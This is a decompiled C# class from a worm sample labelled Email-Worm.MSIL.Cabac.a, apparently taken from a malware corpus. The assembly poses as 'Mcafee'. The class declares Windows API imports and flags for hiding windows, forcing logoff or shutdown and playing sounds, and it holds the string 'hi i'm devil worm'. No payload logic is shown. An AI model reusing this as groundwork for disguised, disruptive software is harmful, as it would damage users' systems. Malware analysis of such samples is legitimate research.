// Decompiled with JetBrains decompiler
// Type: Api.api
// Assembly: Mcafee, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E8ABDF02-8A4A-421D-8941-056F8CA96A8B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.MSIL.Cabac.a-6a616d6396ea98af23899d1ef241f1987c0c048c5ff5c3600a97133b5e844b01.exe

using System.Runtime.InteropServices;

namespace Api
{
  public class api
  {
    public const int SW_HIDE = 0;
    public const int ConsoleWindowClass = 1;
    public const string amir = "hi i'm devil worm";
    public const int EWX_LOGOFF = 0;
    public const int EWX_SHUTDOWN = 1;
    public const int EWX_REBOOT = 2;
    public const int EWX_FORCE = 4;
    public const int EWX_POWEROFF = 8;

    [DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
    public static extern int mciSendString(
      string lpstrCommand,
      string lpstrReturnString,
      int uReturnLength,
      int hwndCallback);

    [DllImport("user32")]
    public static extern int ShowWindow(int hwnd, int nCmdShow);

    [DllImport("user32")]
    public static extern int MessageBeep(int wType);

    [DllImport("kernel32")]
    public static extern int Sleep(int dwMilliseconds);

    [DllImport("user32", EntryPoint = "FindWindowA")]
    public static extern int FindWindow(string lpClassName, string lpWindowName);

    [DllImport("shell32", EntryPoint = "#59")]
    public static extern int SHRestartSystemMB(int hOwner, string sExtraPrompt, int uFlags);
  }
}
